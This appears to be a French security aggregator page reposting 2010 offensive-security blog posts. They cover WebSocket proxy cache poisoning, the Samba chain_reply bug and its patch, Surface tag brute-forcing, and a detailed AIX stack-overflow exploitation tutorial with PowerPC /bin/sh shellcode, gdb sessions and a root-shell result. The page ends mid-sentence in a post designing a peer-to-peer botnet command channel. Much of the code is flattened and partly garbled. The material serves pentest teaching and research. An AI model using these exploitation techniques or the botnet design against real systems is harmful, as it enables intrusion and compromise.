http://www.secuobs.com Observatoire de la securite Internet fr webmaster@secuobs.com 2010-12-28 19:11:58 - La Sécurite Offensive : From the book 1000 Heads Le concept de Websocket fait partie des fonctionnalités qui sont en train d'émerger avec HTML5, CSS3, les device events, etc Elles servent principalement à remplacer les hacks utilisés par les développeurs web de la nouvelle génération comprendre Web2 attention aux allergiques ces hacks étant, pour faire simple, une solution au manque de canal de communication persistent, bidirectionnel et évènementiel en Javascript, car Flash et Java possèdent déjà leur solution entre le client et le serveur Les Websockets sont une des briques qui permettent permettront de transformer radicalement l'expérience web de tous les utilisateurs d'Internet une fois encore Contexte BookCinq chercheurs dont trois très reconnus dans le domaine ont publié signé récemment un papier de recherche intitulé Transparent Proxies Threat or Menace Ce papier fait état de deux vulnérabilités liées à l'utilisation de sockets binaires dans un environnement présentant des proxys HTTP transparents On y lit que les Websockets sont concernées, ainsi que Flash et Java Une proposition de correction pour le draft Websocket est présentée Deux semaines plus tard, Firefox 4 et Opera décident de désactiver la fonctionnalité le temps qu'une nouvelle version soit proposée Ce nouveau draft rendra toutes les implémentations clients serveurs actuelles obsolètes Explication Le papier décrit deux problemes, dont la source est commune Un proxy HTTP qui s'emmêle les pinceaux entre ip, host et vhost Les sockets binaires, qu'elles soient faites avec Flash, Java ou Javascript, ne sont qu'un vecteur permettant de forger la requête nécessaire à l'exploitation du proxy vulnérable Ce type de vulnérabilité n'a rien de nouveau et nous avons déjà eu l'occasion d'en tester quelques unes dans des scénarios externes ce qui nous a permis d'accéder à des services internes Le premier problème se situe au niveau du routage, imaginez un scénario ou un navigateur établit une connexion vers un serveur 1111, avec un header HTTP falsifié du serveur googlecom Host googlecom Il arrive qu'un proxy transparent, capturant la requête à l'insu de l'utilisateur et du serveur, se permette de rediriger la connection vers googlecom plutôt que sur le serveur 1111 Nous ne nous intéresserons pas à ce cas dans ce billet Le deuxième problème concerne les fonctionnalités de cache de ces proxys, et cela semble bien plus intéressant Tout comme précédemment, imaginons le scénario durant lequel nous forçons un navigateur à se connecter à un serveur nous appartenant, en forgeant la requête afin de demander une ressource du vhost googlecom Host googlecom Si notre serveur lui fournit une ressource malicieuse avec un header de cache de dix ans, alors un proxy invisible transparent, analysant le flux à la volée, pourrait au milieu de cet échange prendre la décision de mettre cette ressource en cache Le souci est que comme vu précédemment bien que le cas soit différent , ce proxy se contente de croire le header Host , en ignorant le pinning vhost-ip pourtant évident à des fonctionnalité de ce type Il en résulte qu'à la prochaine requête légitime cette fois vers cette ressource de googlecom faite par un navigateur passant par le noeud où se trouve ce proxy , son cache sera invoqué et la ressource malicieuse chargée à la place de la légitime Cache-poisoning Dans les scénarios réels évoqués, l'exemple du fichier javascript gajs correspondant à google-analytics est révélateur, mais l'on pourrait tout aussi bien imaginer des attaques sur des webmails ciblés étant donné que l'attaque nécessite de toutes façons une intervention extérieure derrière un proxy vulnérable Contenu Ce papier contient une partie de description technique, une étude basée sur l'exploitation d'une masse de la population, et une proposition de solution pour les Websockets La proposition de draft pour les Websockets ne sera pas détaillée ici Les lecteurs intéressés se réfèreront aux discussions de la mailing list associée Pour commencer, il n'apporte rien de nouveau d'un point de vue technique d'un côté les premiers problèmes liés au pinning DNS association forcée d'un domaine et d'une ip pour une session donnée ont été rendus publics en 1996 ils impliquaient les applets Java Contrairement à ce qui est écrit dans le papier, ces problèmes ne sont pas récents, même les médias s'en sont emparés il y a trois ans, voire quatre pour certaines présentations Collin Jackson et Adam Barth, deux des auteurs dont on parle, ayant même participé à un papier résumant le sujet en 2007 De l'autre côté, les problématiques évoquées plus haut liées aux proxys transparents ont déjà été très longuement décrites en 2009, dans un papier de recherche de Robert Auger PayPal qui suivait un avis de l'US-CERT Les exploits développés sont en Flash et Java, et ils n'ont pas été rendus publics Les chiffres de personnes vulnérables au cache poisoning basé sur Java ou Flash sont de moins de 50 sur 150000 pour plus de détails reportez vous au papier N'ayant pas la possibilité légale de reproduire les tests effectués par ces chercheurs tests d'exploitation de masse sans consentement , nous ne pourrons les vérifier Néanmoins, nous avons reproduit une des attaques, et vous proposons de la tester de manière volontaire Flash doit être activé, c'est compatible tous navigateurs, il suffit de cliquer sur le bouton bleu pour lancer le test qui prendra entre une et quinze secondes à s'effectuer Iframe error Si vous obtenez une croix rouge à ce test, vous êtes vulnérable au cache poisoning Nous sommes intéressés par vos retours, en particulier par le nom de l'équipement, version et configuration qui seraient mis en cause N'hésitez pas à nous contacter contact atlabfr A retenir - Des chercheurs académiques se sont permis de tester et répertorier le taux d'expansion d'une vulnérabilité de manière mondiale au travers de l'achat d'un espace annonceur probablement sans le consentement de l'annonceur, et surement sans celui des utilisateurs - La vulnérabilité est liée à des proxys transparents non à jour, les Websockets étant un vecteur d'exploitation - Aucun exploit en pur Javascript - WebSocket n'a été développé ou n'a été mentionné les tests ont été effectués avec Java et Flash - Les exploits basés sur Flash ou Java seront toujours fonctionnels et le resteront très probablement aussi longtemps que ces plugins existeront - Le pourcentage de personnes vulnérables est très faible de l'ordre de 0,03pourcents pour une attaque à tendance ciblée sur un proxy d'entreprise - Ce papier n'a rien apporté de nouveau d'un point de vue technique - Il est responsable de la refonte complète du handshake qui devient beaucoup plus complexe , a rendu obsolète toutes les implementations courantes du protocole, et après médiatisation a fait désactiver la fonctionnalité dans Firefox4 et Safari L'équipe Atlab toute entière vous souhaite une bonne fin d'année Pour les heureux possesseurs de Google Chrome et son V8, un joyeux noël en retard http://www.secuobs.com/revue/news/274538.shtmlhttp://www.secuobs.com/revue/news/274538.shtml Secuobs.com : 2010-11-18 16:38:38 - La Sécurite Offensive - Dans un précédent billet de blog, nous vous parlions de l'exploitation de buffer overflow sous AIX en nous restreignant volontairement aux versions 5x Pour rappel, nous avions alors mentionné l'existence de protections mémoire à partir de la version 61 susceptible de mitiger l'exploitation tradionnelle par le biais de shellcodes Un article a été écrit pour MISC 52 disponible en kiosque dans lequel nous expliquons la nature de cette protection et ses limites En particulier, nous montrons comment exploiter très simplement la vulnérabilité CVE-2009-3699 en return-into-libc pour l'obtention d'un shell root distant preauth Bien que cette protection ne soit pas active par défaut sur AIX, l'état de l'art en matière de sécurisation de l'OS, préconise de l'activer Peut-être sera-t-elle donc activée dans les versions d'AIX futures http://www.secuobs.com/revue/news/265802.shtmlhttp://www.secuobs.com/revue/news/265802.shtml Secuobs.com : 2010-10-18 15:17:28 - La Sécurite Offensive - Microsoft Surface est une table multitouch destinée à un usage multi-utilisateurs La technologie innovante dans cette table est basée sur les caméras infrarouges disposées à l'interieur permettant la reconnaissance de formes telles qu'un doigt, une main ou un objet Elle est capable de détecter jusqu'à 54 formes simultanément Dans les fonctionnalités offertes par l'API Microsoft Surface on notera la présence d'une sorte de qrcode made in Microsoft Disposés sous les objets verres de cocktail, pièces de jeu d'échecs , ils permettent de déclencher des actions ou suivre un objet de manière plus précise Microsoft les nomme Surface tags , et ils existent en deux versions, respectivement byte tags et identity tags Les identity tags peuvent contenir 128 bits d'informations, tandis que les byte tags en contiennent 8 La chose intéressante ici est donc que les byte tags ne peuvent prendre que 256 valeurs différentes, ce qui est facilement bruteforceable Durant un test d'intrusion physique, il s'est avéré que les développeurs utilisaient une certaine valeur de byte tag dans leur application pour déclencher l'apparition d'un menu d'administration Vous pouvez voir dans la photo ci-dessous le morceau de carton ayant le byte tag administrateur, ainsi qu'un menu d'administration flouté apparu grâce au tag Nous l'avons trouvé en testant toutes les valeurs de byte tags que nous avions au préalable imprimés puis jetés sur la table Surface Un autre byte tag déclenchait une action, il s'agissait d'un lecteur vidéo commercial - nous avons supposé que les commerciaux de cette société le possédaient sur leur carte de visite et s'en servaient pour faire leurs présentations http://www.secuobs.com/revue/news/257842.shtmlhttp://www.secuobs.com/revue/news/257842.shtml Secuobs.com : 2010-09-23 13:42:26 - La Sécurite Offensive - File sharingUn article a été écrit pour l'exploit corner de MISC 51 paru au cours du mois de Septembre 2010 sur l'exploitation de la vulnérabilité Samba chain_reply CVE-2010-2063 Cette vulnérabilité pre-auth root à distance touche toutes les versions des serveurs samba jusqu'à la 3313 Un exploit a été publié par Metasploit, mais celui-ci est basique et ne fonctionne pas sur les systèmes à heap non exécutable Cet article explique comment exploiter la faille en contournant les protections anti-exploitation actuelles ASLR, heap non exécutable, etc de manière fiable La vulnérabilité se trouve dans la fonction chain_reply Celle-ci est appelée à la fin de la gestion d'une commande par le serveur, si cette dernière nécessite un chaînage L'argument que prend cette fonction est une structure décrivant la requête du client Le paquet envoyé se trouve dans req-inbuf A ce stade de l'exécution, presque aucun test n'a été effectué sur les champs La fonction chain_reply et son patch Voici la fonction vulnérable void chain_reply struct smb_request req static char orig_inbuf char inbuf CONST_DISCARD char , req-inbuf int size smb_len req-inbuf 4 int smb_com1, smb_com2 CVAL inbuf,smb_vwv0 1 unsigned smb_off2 SVAL inbuf,smb_vwv1 2 char inbuf2 char inbuf_saved smb_wct char outbuf char req-outbuf size_t outsize smb_len outbuf 4 if smb_com2 0xFF SVAL outbuf,smb_rcls 0 3 SCVAL outbuf,smb_vwv0,0xFF return if chain_size 0 9 orig_inbuf inbuf caller_outputlen outsize - smb_wct outsize_padded outsize 3 3 padding outsize_padded - outsize chain_size outsize_padded - smb_wct 8 inbuf2 orig_inbuf smb_off2 4 - smb_wct 4 smb_com1 CVAL orig_inbuf,smb_com memcpy inbuf_saved,inbuf2,smb_wct memmove inbuf2,inbuf,smb_wct 5 SCVAL inbuf2,smb_com,smb_com2 new_size size - inbuf2 - inbuf 6 if new_size encrypted process the request switch_message smb_com2, req2, new_size memcpy inbuf2,inbuf_saved,smb_wct 8 chain_size - outsize_padded - smb_wct return Voici le patch void chain_reply struct smb_request req static char orig_inbuf static int orig_size if chain_size 0 orig_inbuf inbuf orig_size size Validate smb_off2 if smb_off2 smb_wct ne serve à rien En conclusion, seul le bug1 est intéressant pour une exploitation Celui-ci permet la réécriture de 32 octets dans la heap à un offset presque arbitraire entre 0 et 65535 par rapport à inbuf Les données qui vont overwriter la heap correspondent à l'en-tête de notre paquet SMB Elles sont donc partiellement contrôlées Plus de détails sur la vulnérabilité sont donnés dans l'article MISC ainsi qu'une manière de l'exploiter efficacement en contournant les protections anti-exploitation http://www.secuobs.com/revue/news/250999.shtmlhttp://www.secuobs.com/revue/news/250999.shtml Secuobs.com : 2010-09-17 01:39:18 - La Sécurite Offensive - ChickenfootChickenfoot développée par le User Interface Design Group du MIT est une interface qui permet de contrôler son navigateur Firefox au moyen de scripts Un précédent billet de blog en faisait son introduction, dans le cadre du développement d'une recherche de couples utilisateurs mots de passe valides Nous travaillons actuellement sur de nouveaux outils de veille basés sur des sources publiques d'informations telles que les réseaux sociaux Twitter, Facebook, Linkedin, Viadeo, , forums, news ou encore blog, et cette extension y prend une part importante Le document Chickenfoot contient une approche de cette extension au moyen d'exemples concrets N'hésitez pas à nous faire part de vos retours ou commentaires par mail sur contact IatI atlabfr http://www.secuobs.com/revue/news/247522.shtmlhttp://www.secuobs.com/revue/news/247522.shtml Secuobs.com : 2010-07-20 16:07:17 - La Sécurite Offensive - IBMAIX 0 , de son vrai nom Advanced Interactive eXecutive, est un UNIX propriétaire conçu par IBM qui tourne sur les processeurs de type PowerPC La présence de ce type de machine sur le réseau local est bien souvent du pain béni pour le pentester Outre les mauvaises pratiques récurrentes classiques telles que l'absence de fermeture et filtrage de services ou encore le laisser aller au niveau de l'application des patchs de sécurité, l'OS en lui-même est relativement rustique sur le plan sécurité Contrairement à ses petits cousins du monde libre Linux, BSD , AIX a peu fait l'objet d'évolutions au cours du temps Il est aujourd'hui l'un des rares UNIX vraiment utilisés pour lequel on voit encore passer des CVE concernant des stack overflow en ligne de commande dans les binaires suid 1 Ce billet traite de l'exploitation de stack overflow sous AIX 5x et antérieur, la version 6x introduisant une protection contre l'exécution qui fera l'objet d'un article dédié La plupart des papiers traitant de ce sujet sont relativement anciens et se focalisent essentiellement sur l'écriture de shellcodes 2 3 donc peu sur l'aspect pratique Les aspects traités dans ce billet sont donc les suivants Les outils et commandes utiles au pentester Les rappels basiques d'assembleur PowerPC L'étude de l'évolution de la stack Les différents scénarios d'exploitation La trousse à outils du pentester Il y a quelques petites choses à connaître pour se faciliter la vie sur un système AIX La plupart des commandes ci-dessous ne nécessitent pas de compte privilégié pour être exécutées 1 Reconnaitre le processeur La commande lscfg fournit beaucoup d'information utile Voyons comment l'utiliser pour retrouver la version du processeur On commence par chercher la device associée au processeur -bash-32 lscfg LISTE DES RESSOURCES INSTALLEES sys0 Objet système proc1 U01-P1 Processeur Ensuite, on interroge le système sur la device en question -bash-32 lscfg -p -l proc1 proc1 U01-P1 Processeur SPECIFIQUE PLATEFORME Nom PowerPC,POWER4 Noeud PowerPC,POWER4 1 Type d'unité cpu Emplacement physique U01-P1 C'est donc ici un PowerPC 4 Une autre commande possible est la suivante -bash-32 prtconf Modèle de système IBM,9114-275 Numéro de série de la machine 656C02D Type de processeur PowerPC_POWER4 Nombre de processeurs 1 Fréquence d'horloge du processeur 1452 MHz Type d'UC 64-bit Type Kernel 64-bit Infos LPAR 1 NULL Taille de mémoire 4096 MB Taille de mémoire appropriée 4096 MB Niveau du microprogramme de la plateforme 3F050502 Version du microprogramme IBM,RG050405_d79e05_r Connexion à la console enable Redémarrage automatique true Fichier core complet false Et on obtient bien le même résultat 2 Connaitre la version exacte de l'OS Contrairement aux autres Unix, uname n'est pas ce qu'il y a de mieux On lui préfère oslevel qui est beaucoup plus précis -bash-32 uname -a AIX AIXX 1 6 0056C02D4C00 -bash-32 oslevel -s 6100-00-11-0943 -bash-32 Cela permet de savoir quels patchs ont pu être installés sur le système Nous verrons plus bas que c'est absolument indispensable pour les shellcodes 3 Savoir si les protections mémoire sont en place AIXDepuis AIX 6X il est possible d'interdire l'exécution dans certaines zones mémoires Pour déterminer si de tels mécanismes sont en place, une solution simple consiste à compiler un exécutable de test qui tente d'exécuter du code sur la pile par exemple Si le processus reçoit un SIGILL c'est que la mémoire est protégée Il y a néanmoins plus intelligent et plus propre L'outil sedmgr permet à l'administrateur d'activer désactiver les protections mémoire au niveau système ou plus finement au niveau des processus en modifiant un flag dans les binaires correspondants L'exemple ci-dessous l'illustre bash-32 sedmgr Mode SED Stack Execution Disable all SED configuré dans le noyau all bash-32 Dans le cas présent les protections sont en place Elles sont par défaut appliquées à tous les exécutables, mais il est possible de définir une exception par le biais de l'insertion d'un tag dans le header COFF -bash-32 sedmgr -d vuln vuln system -bash-32 sploit_lrpl Illegal instruction core dumped Le processus est soumis aux règles du système On peut choisir d'autoriser la pile en exécution pour ce processus -bash-32 sedmgr -c exempt vuln -bash-32 sedmgr -d vuln vuln exempt -bash-32 sploit_lrpl Bingo 4 Manipuler les binaires Les exécutables AIX sont au format XCOFF 4 Pour les analyser il faut donc des outils spécifiques Fort heureusement, les binutils sont disponibles librement sous forme de RPM à l'adresse 5 Grâce à objdump qui permet de lire le XCOFF, on peut ainsi obtenir des informations utiles sur un binaire ou le désassembler Pour obtenir les infos de mapping du binaire -bash-32 objdump -h shellcode shellcode format de fichier aixcoff-rs6000 Sections Idx Nom Taille VMA LMA Fich off Algn 0 text 00007ddb 0000000010000128 0000000010000128 00000128 2 5 CONTENTS, ALLOC, LOAD, RELOC, CODE 1 data 0000093d 0000000020000f03 0000000020000f03 00007f03 2 3 CONTENTS, ALLOC, LOAD, RELOC, DATA 2 bss 000000c0 0000000020001840 0000000020001840 00000000 2 3 ALLOC 3 loader 000007b0 0000000000000000 0000000000000000 00008840 2 3 Remarque Il n'y a pas d'ASLR sous AIX On peut également obtenir les différents symboles, ce qui aide au reverse engineering -bash-32 objdump -t shellcode shellcode format de fichier aixcoff-rs6000 SYMBOL TABLE 0 sec 0 fl 0x00 ty 0 scl 2 nx 1 0x0000e008 ___memset AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 7 stb 0 snstb 0 2 sec 0 fl 0x00 ty 0 scl 2 nx 1 0x0000e008 ___memset AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 7 stb 0 snstb 0 4 sec 0 fl 0x00 ty 0 scl 2 nx 1 0x0000f000 ___memmove AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 7 stb 0 snstb 0 6 sec 0 fl 0x00 ty 0 scl 2 nx 1 0x0000f000 ___memmove AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 7 stb 0 snstb 0 8 sec 0 fl 0x00 ty 0 scl 2 nx 1 0x00000000 errno AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 5 stb 0 snstb 0 10 sec 0 fl 0x00 ty 0 scl 2 nx 1 0x00000000 malloc AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 10 stb 0 snstb 0 12 sec 0 fl 0x00 ty 0 scl 2 nx 1 0x00000000 free AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 10 stb 0 snstb 0 14 sec 0 fl 0x00 ty 0 scl 2 nx 1 0x00000000 exit 5 Debugging Il y a principalement deux outils gdb externe qu'on ne présente plus truss natif que les adeptes de solaris reconnaitront Ce dernier outil est un équivalent de strace sous Linux et permet donc de déterminer les appels système effectués par un processus donné -bash-32 truss vuln AAAA execve vuln , 0x2FF22D58, 0x200121E8 argc 2 __loadx 0x0A040000, 0xD03D9144, 0x0000000A, 0x200008A8, 0x200000E3 0x00000000 _sigaction 2, 0x2FF22BC0, 0x2FF22BD0 0 _sigaction 3, 0x2FF22BC0, 0x2FF22BE0 0 sigprocmask 0, 0x2FF22BC4, 0x2FF22BB8 0 _sigaction 20, 0x2FF22BC0, 0x2FF22BF0 0 kfork 295082 kwaitpid 0x2FF22BB0, 295082, 4, 0x00000000, 0x00000000 295082 _sigaction 2, 0x2FF22BD0, 0x00000000 0 _sigaction 3, 0x2FF22BE0, 0x00000000 0 _sigaction 20, 0x2FF22BF0, 0x00000000 0 sigprocmask 2, 0x2FF22BB8, 0x00000000 0 kfcntl 1, F_GETFL, 0x20000864 2 kfcntl 2, F_GETFL, 0x00000000 2 _exit 0 6 Exploitation Pour l'intrusion à distance, le pentester trouvera deux exploits remote pour bon nombre de versions d'AIX dans metasploit 5 comme dans CANVAS 6 Il est également à noter que le pack D2 7 fournit quelques exploits locaux Nombre d'exploits plus ou moins aboutis sont par ailleurs disponibles sur la toile, une petite recherche sur google suffit à en dénicher quelques-uns Petite introduction à l'assembleur PowerPC Cette petite introduction vise à comprendre les rudiments nécessaires à l'exploitation d'un programmePour plus de détails, le lecteur est encouragé à lire 8 9 12 1 Les principaux registres Voici les registres que nous seront susceptibles de manipuler PC Compteur de programme Adresse la prochaine instruction à exécuter LR Link Register Permet de sauvegarder le PC R0 Registre général Usage particulier tel que le transfert de LR R1 Stack pointer R31 Sauvegarde de stack pointer R3,R4, Registres généraux Usage courant arithmétique, manipulation de la mémoire, etc 2 Les appels de fonction Les arguments sont placés dans r3,r4,r5, etc Par exemple, le code assembleur ci-dessous permet l'appel à func 1,2,3,4,5,6 10000510 38 60 00 01 lil r3,1 10000514 38 80 00 02 lil r4,2 10000518 38 a0 00 03 lil r5,3 1000051c 38 c0 00 04 lil r6,4 10000520 38 e0 00 05 lil r7,5 10000524 39 00 00 06 lil r8,6 10000528 4b ff ff 11 bl 10000438 L'instruction lil permet de placer un entier dans un registre et bl est une instruction de branchement de saut L'instruction BL se distingue de B par l'utilisation du registre LR Contrairement à l'assembleur x86, l'adresse de retour n'est pas placée sur la pile par l'instruction de branchement En fait, BL dst est équivalent à LR L2 x7f xe8 x02 xa6 mflr r31 L3 x3b xff x01 x20 cal r31,288 r31 L4 x38 x7f xff x08 cal r3,-248 r31 x38 x9f xff x10 cal r4,-240 r31 x90 x7f xff x10 st r3,-240 r31 x90 xbf xff x14 st r5,-236 r31 x88 x5f xff x0f lbz r2,-241 r31 x98 xbf xff x0f stb r5,-241 r31 L10 x4c xc6 x33 x42 crorc cr6,cr6,cr6 L11 x44 xff xff x02 svca L12 bin sh x06 int main void char burp 256 On veut etre sur d'etre en stack memcpy burp, shellcode, sizeof shellcode int jump 2 int burp,0 void jump C'est assez classique et largement traité dans la littérature consacrée 3 , 4 On retiendra dans les grandes lignes les points suivants L1 à L3 Obtention de l'adresse de L3 dans LR puis dans R31 équivalent de l'astuce du call pop jmp version PowerPC L4 à L10 Initialisation des registres en prévision de l'appel système et préparation de la stack pour execve L11 à L12 Invocation de l'appel système L'opcode de svca est modifié pour éviter les null bytes Puisque le premier octet est réservé, mettre les octets intermédiaires 2 et 3 à 0xFF ne changera pas l'interprétation de l'opcode par le processeur Remarque Le dernier octet du shellcode code le numéro de l'appel système Comme ce shellcode le modifie, il doit être placé dans une zone mémoire accessible en écriture 4 L'organisation de la stack Pour bien comprendre les possibilités offertes à l'attaquant, il est important de comprendre les interactions entre registres et piles Voici un prologue classique de main on rappelle que _start appelle main 0x100004e0 mflr r0 R0 stw r31,-4 r1 R1-4 R31_start 0x100004e8 stw r0,8 r1 R1 8 R0 ret_main 0x100004ec stwu r1,-96 r1 R1-96 R1_start ET R1_main R1_start - 96 0x100004f0 mr r31,r1 R31_main bl 0x10000478 LR ret_f1 0x10000508 jmp f1 Le prologue la fonction f1 est très similaire 0x10000478 mflr r0 R0 stw r31,-4 r1 R1-4 R31_main 0x10000480 stw r0,8 r1 R1 8 R0 ret_f1 0x10000484 stwu r1,-80 r1 R1-80 R1_main ET R1_f1 R1_main - 80 0x10000488 mr r31,r1 R31_func lwz r1,0 r1 NEW_R1 R1_FUNC 0x100004b4 lwz r0,8 r1 NEW_R0 NEW_R1 8 0x100004b8 mtlr r0 LR NEW_R0 ret_func 0x100004bc lwz r31,-4 r1 NEW_R31 NEW_R1-4 0x100004c0 blr jmp ret Distinguons le cas de l'overflow courant , de celui de l'underflow marginal mais pas seulement théorique 5 Le cas de l'overflow En cas d'overflow dans la fonction f2 , on aura la situation suivante XXXXXXXXX XXXXXXXXX XXXXXXXXX 8 XXXXXXXXX R1_F1 XXXXXXXXX 0 XXXXXXXXX -4 XXXXXXXXX XXXXXXXXX XXXXXXXXX XXXXXXXXX XXXXXXXXX lwz r1,0 r1 0x10000488 lwz r0,8 r1 L2 0x1000048c mtlr r0 L3 0x10000490 lwz r31,-4 r1 0x10000494 blr Il en résulte Cf L2 que R0 est directement contrôlé par l'attaquant et par conséquent LR Cf L3 Ce troisième scénario constitue une deuxième alternative nettement plus intéressante à la prise de contrôle directe de LR en cas d'overflow partiel Attention néanmoins quelques précautions doivent être prises L'écrasement de R1_main implique en effet l'écrasement de R31_F1 Si une donnée est déréférencée à partir de R31_F1 deuxième cas évoqué plus haut avant d'atteindre l'épilogue du main alors le programme est susceptible de crasher L'exemple ci-dessous le prouve 0x1000054c bl 0x10000490 0x10000550 lwz r0,56 r31 L1 0x10000554 cmpwi cr7,r0,2 L2 0x10000558 bne- cr7,0x10000564 0x1000055c lwz r3,84 r2 0x10000560 bl 0x10000438 0x10000564 li r0,0 L3 0x10000568 mr r3,r0 0x1000056c lwz r1,0 r1 0x10000570 lwz r0,8 r1 0x10000574 mtlr r0 0x10000578 lwz r31,-4 r1 0x1000057c blr Dans cette situation, au retour de vuln en L1, si R31 contient une adresse invalide, le programme plante Le contenu de ce registre doit dépendre du contexte Dans le cas présent il suffit de mettre une adresse de pile pointant sur une valeur différente de 2 cf comparaison en L2 pour continuer l'exécution sur L3 en ainsi continuer sur l'épilogue du main Remarque Cette dernière technique est le pendant PowerPC de l'écrasement du frame pointer 10 , 11 sous x86 6 Le cas amusant de l'underflow En cas d'underflow dans ce même buffer, on aura la situation suivante ret_F1 8 R1_F1 R1_main 0 R1_F1 -4 bl 0x10000438 0x100004f0 li r0,0 vuln gdb disass vuln Dump of assembler code for function vuln 0x10000438 mflr r0 0x1000043c stw r31,-4 r1 0x10000440 stw r0,8 r1 0x10000444 stwu r1,-336 r1 0x10000448 mr r31,r1 0x10000470 bl 0x100005ac 0x10000474 nop On choisit de poser un breakpoint sur le nop, apres l'overflow gdb b 0x10000474 Dans un premier temps, on va remplir notre buffer de façon légitime histoire de repérer les métadonnées intéressantes gdb r perl -e 'print A x256' The program being debugged has been started already Start it from the beginning y or n y Starting program vuln perl -e 'print A x256' Breakpoint 1, 0x10000474 in vuln gdb x 100x r1 0x2ff22a50 0x2ff22ba0 0x00000000 0x00000000 0x00000000 0x2ff22a60 0x00000000 0x20000878 0x00000000 0x00000000 0x2ff22a70 0x00000000 0x2df23000 0x01fffba0 0x00000000 0x2ff22a80 0x00000000 0xd03d9144 0x41414141 0x41414141 0x2ff22a90 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22aa0 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22ab0 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22ac0 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22ad0 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22ae0 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22af0 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22b00 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22b10 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22b20 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22b30 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22b40 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22b50 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22b60 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22b70 0x41414141 0x41414141 0x41414141 0x41414141 0x2ff22b80 0x41414141 0x41414141 0xd016c32c 0x00000000 0x2ff22b90 0x00000000 0xf040d760 0x00000000 0x2ff22ba0 0x2ff22ba0 0x2ff22bf0 0x00000000 0x100004f0 0x00000000 0x2ff22bb0 0x00000000 0x00000000 0x2ff22cd6 0x00000000 0x2ff22bc0 0x00000000 0xdeadbeef 0xdeadbeef 0xdeadbeef 0x2ff22bd0 0xdeadbeef 0xdeadbeef 0xdeadbeef 0x0000000a Autrement dit, on a ce qu'on attendait main 72 lwz r0,8 r1 0x10000500 mtlr r0 0x10000504 lwz r31,-4 r1 0x10000508 blr gdb i r r1 r1 0x43434343 1128481603 gdb On a donc le contrôle de R1 comme on s'y attendait D'après le listing, on gagne alors successivement le contrôle de R0 puis de LR Il suffit donc d'écraser R1_main avec l'adresse d'une zone contrôlée NEW_STACK dans lequel on place SHELLCODE à NEW_STACK 8 On obtient alors -bash-32 sploit_r1pl id uid 0 root gid 0 system groups 2 bin ,3 sys ,7 security ,8 cron ,10 audit ,11 lp Moi non plus je n'aime pas le perl Mais il est natif sous AIX contrairement à python Conclusion Ce court billet permet d'introduire l'exploitation de stack overflow dans un contexte de mémoire non protégée Nous verrons dans un prochain article comment exploiter ces mêmes bugs sur un AIX 6x qui incorpore une protection contre l'exécution sur la stack Références 0 http www-03ibmcom systems power software aix indexhtml 1 http secuniacom advisories 37833 2 PPC shellcode, Palante 3 PowerPC Stack Attacks, Christopher A Shepherd 3 http publib16boulderibmcom pseries en_US files aixfiles XCOFFhtm 4 ftp ftpfreesoftwareibmcom 5 http wwwmetasploitcom 6 http wwwimmunityseccom products-canvasshtml 7 http wwwd2seccom 8 http pdstwitudelftnl vakken in1200 labcourse instruction-set 9 PowerPCTM Microprocessor Family The Programming Environments for 32-Bit Microprocessors, IBM 10 The Frame Pointer Overwrite, Klog, Phrack 55 11 Bypassing PaX ASLR protection, Tyler Durden, Phrack 59 12 http wwwrisesecurityorg http://www.secuobs.com/revue/news/242080.shtmlhttp://www.secuobs.com/revue/news/242080.shtml Secuobs.com : 2010-05-07 18:10:20 - La Sécurite Offensive - Après avoir lu les articles sur le démantèlement de certains botnets comme mariposa et waledac, nous nous sommes intéressés à la détection de ces réseaux ainsi qu'aux faiblesses inhérentes à leurs modes de communication Dans le cas de ces réseaux, nous pouvons remarquer un élément commun, et pas des moindres leurs modes de communication reposent sur le protocole DNS Grâce au travail de Defense Intelligence sur mariposa, nous savons aujourd'hui qu'une certaine quantité de serveurs DNS contrôlaient le réseau Même si ces adresses évoluaient au fur et à mesure de la mise à jour des bots, elles restaient le référentiel de toutes les mises à jour du réseau Pour preuve, après avoir mis la main sur les domaines ils ont pu contrôler à leur tour le réseau et récolter des données volées depuis les bots venant de plus de 190 pays De même dernièrement, Microsoft a annoncé qu'il avait démantelé le réseau waledac qui base lui aussi une partie de sa communication sur des technologies à base de DNS en demandant la fermeture temporaire de 277 noms de domaines Dans les deux cas la méthode utilisée par ces botnets est bien connue Elle utilise la fonctionnalité de round robin DNS qui consiste en l'ajout d'une grosse quantité d'IP avec un TTL très bas sur un même host, on l'appelle Fast-Flux Elle a la propriété de changer continuellement les adresses IP attachées à un même nom DNS Elle permet ainsi de cacher rapidement le destinataire par un effet de bord intéressant du TTL bas, le changement d'adresse IP rapide Ces dernières font ainsi office de reverse proxy pour la communication avec le reste du réseau lien Wikipedia Regardons maintenant les méthodes de communication décentralisées, utilisées massivement ces dernières années, comme par exemple les DHT tables de hachages distribuées utilisées dans des protocoles P2P, par exemple, BitTorrent Essayons de nous mettre dans la peau d'un Bot Master contrôleur du botnet pour imaginer un concept qui ne se base plus sur des référents fixes tels que les services DNS, HTTP, IRC, mais sur le réseau lui même Pour la communication réseau, il est judicieux d'utiliser une DHT de type Chord, qui permet de d'associer chaque représentant du réseau à un hash unique Cela permet de faire du calcul de distance, de simplifier la communication, et de baser les messages sur un système d'évènements totalement asynchrone afin de créer ce qu'on appelle un overlay network Il existe une implémentation de l'algorithme de Chord en langage C, le projet Chimera Du fait des faibles dépendances de cette bibliothèque il est possible de la porter assez simplement sur plusieurs architectures et OS différents, pouvant être aussi exotiques que certaines appliances routeurs ou encore certains téléphones utilisant une µ glibc L'overlay network peut ainsi être décomposé en quatre primitives indispensables à la vie du réseau - set qui permet 